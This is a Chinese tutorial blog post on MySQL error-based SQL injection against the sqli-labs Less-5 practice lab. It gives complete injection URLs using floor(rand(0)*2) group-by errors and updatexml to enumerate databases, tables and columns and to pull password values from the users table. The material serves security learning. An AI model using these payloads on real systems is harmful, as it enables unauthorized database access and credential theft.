Mysql注入 -- 报错注入

本文涉及的产品
RDS AI 助手,专业版
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
简介: Mysql注入 -- 报错注入

一、常用函数

1、count();统计该列有几条数据

2、rand():产生0-1随机数

0a2653c851af460fa595bd959398a8f1.png

3、group by:根据某一列排序,改列必须出现在前面查询的内容

0eacb84100b54626af849e6b562bf92a.png

4、floor(1.23):获取小于等于该值的最大整数

5、as:给查询的列名内容重命名

6、concat(1,2,3):将里面的内容连接在一起

2d65d23f6d4748949b924e4057485923.png

二、实例演示

1、获取当前数据库名称

http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select database()),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+

2e9b90b2ca334476abebe75bafe6eeaa.png

2、获取数据库security的表名

http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+  第一个表
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+  第三个表

0a2653c851af460fa595bd959398a8f1.png

3、获取表users的字段名,将user转为十六进制,引号带入会引发语句错误

http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+ 第二列username
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 2,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+ 第三列password

0eacb84100b54626af849e6b562bf92a.png

4、获取字段password的内容

http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select password from users limit 0,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+ 第一个内容
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select password from users limit 1,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables  group by aiyou --+ 第二个内容

2d65d23f6d4748949b924e4057485923.png

三、函数报错

1、updatexml:updatexml的第二个参数需要Xpath格式的字符串,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了

2、获取数据库名称

http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select database()),0x2a,0x2a),1)) --+

2e9b90b2ca334476abebe75bafe6eeaa.png

3、获取数据库security的表名

http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x2a,0x2a),1)) --+
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x2a,0x2a),1)) --+

4cebaac233b3433da32a72337a77fc60.png

4、获取表users的字段名,将user转为十六进制,引号带入会引发语句错误

http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),0x2a,0x2a),1)) --+
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 2,1),0x2a,0x2a),1)) --+

6de278e6d6694ce5bb08e7e842b7e74b.png

5、获取字段password的内容

http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select password from users limit 0,1),0x2a,0x2a),1)) --+
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select password from users limit 3,1),0x2a,0x2a),1)) --+

7a399525ddec4b77923c464820b33738 (1).png

禁止非法,后果自负

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
SQL 安全 关系型数据库
mysql注入-字符编码技巧
通过字符编码技巧,攻击者可以在SQL注入中绕过常见的输入验证机制,成功攻击数据库。因此,理解这些技巧及其可能的攻击路径,对防御SQL注入至关重要。开发者应采取多层次的安全措施,确保应用程序在不同字符集和编码环境下都能有效防御注入攻击。通过强制使用统一编码、严格的输入验证、预编译语句以及多层次的编码检查,可以有效地提高系统的安全性,防止SQL注入攻击带来的风险。
446 72
|
10月前
|
关系型数据库 MySQL 数据库
MySQL报错:未知系统变量'tx_isolation'及隔离级别查询
记住,选择合适的隔离级别,就像是在风平浪静的湖面上找到适合的划船速度——既要快到能赶上午饭(性能),又不至于翻船(数据一致性问题)。
411 3
|
安全 关系型数据库 MySQL
【YashanDB知识库】YMP从mysql迁移到崖山,报错:服务器错误
【YashanDB知识库】YMP从mysql迁移到崖山,报错:服务器错误
|
SQL Oracle 关系型数据库
【YashanDB知识库】MySQL和YashanDB 隐式转换不一致引起的报错
本文分析了在YashanDB中执行特定SQL语句时出现的类型转换错误问题,并对比了YashanDB、Oracle和MySQL 5.7的行为差异。问题源于隐式类型转换,当数值字段与非法数字字符串(如'1,2')进行比较时,YashanDB和Oracle会报错,而MySQL 5.7虽不报错但会引发警告。通过调整SQL语句,避免数值与字符串直接比较,可有效解决问题。文章还详细解析了不同值表现不一致的原因,涉及执行计划和过滤条件的实际运行细节。
|
安全 关系型数据库 MySQL
【YashanDB知识库】YMP从mysql迁移到崖山,报错:服务器错误
【YashanDB知识库】YMP从mysql迁移到崖山,报错:服务器错误
【YashanDB知识库】YMP从mysql迁移到崖山,报错:服务器错误
|
SQL Oracle 关系型数据库
【YashanDB 知识库】MySQL 和 YashanDB 隐式转换不一致引起的报错
【YashanDB 知识库】MySQL 和 YashanDB 隐式转换不一致引起的报错
|
关系型数据库 MySQL Linux
升级到MySQL 8.4,MySQL启动报错:io_setup() failed with EAGAIN
当MySQL 8.4启动时报错“io_setup() failed with EAGAIN”时,通常是由于系统AIO资源不足所致。通过增加AIO上下文数量、调整MySQL配置、优化系统资源或升级内核版本,可以有效解决这一问题。上述解决方案详细且实用,能够帮助管理员快速定位并处理此类问题,确保数据库系统的正常运行。
543 9
|
存储 SQL NoSQL
|
NoSQL 关系型数据库 MySQL
2024Mysql And Redis基础与进阶操作系列(8)作者——LJS[含MySQL 创建、修改、跟新、重命名、删除视图等具体详步骤;注意点及常见报错问题所对应的解决方法]
MySQL 创建、修改、跟新、重命名、删除视图等具体详步骤;举例说明注意点及常见报错问题所对应的解决方法
|
SQL NoSQL 关系型数据库

推荐镜像

更多